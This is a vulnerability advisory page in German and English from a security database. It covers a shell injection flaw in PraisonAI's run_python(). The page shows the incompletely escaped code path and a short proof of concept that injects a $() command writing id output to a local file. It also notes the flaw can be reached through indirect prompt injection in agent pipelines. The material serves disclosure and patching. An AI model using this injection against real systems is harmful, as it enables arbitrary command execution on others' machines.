Hoch

PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

  • Veröffentlicht: 01.04.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonaiagents < 1.5.90 1.5.90

Verweise

CVSS-Wert 7.8/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-78
Plattform
Python (PyPI)
Paket
praisonaiagents
Veröffentlicht
01.04.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2954 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w37c-qqfp-c67f - CC BY 4.0

Schwachstellenhistorie: praisonaiagents

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (50) im Archiv
Einträge insgesamt
50
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 27
  • Mittel 13

Veröffentlichungen pro Jahr

  1. 2026: 50
Schweregrad:
  1. Hoch · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  2. Hoch · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  3. Kritisch · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
  4. Hoch · 9.8 CVE-2026-44335 < 1.6.32 1.6.32
  5. Kritisch · 9.8 CVE-2026-40288 < 1.5.140 1.5.140
  6. Hoch · 8.4 CVE-2026-40287 < 1.5.140 1.5.140
  7. Hoch CVE-2026-40160 >= 0.13.23, < 1.5.128 1.5.128
  8. Hoch · 8.6 CVE-2026-34954 < 1.5.95 1.5.95
  9. PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution dieser Eintrag
    Hoch · 7.8 CVE-2026-34937 < 1.5.90 1.5.90

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.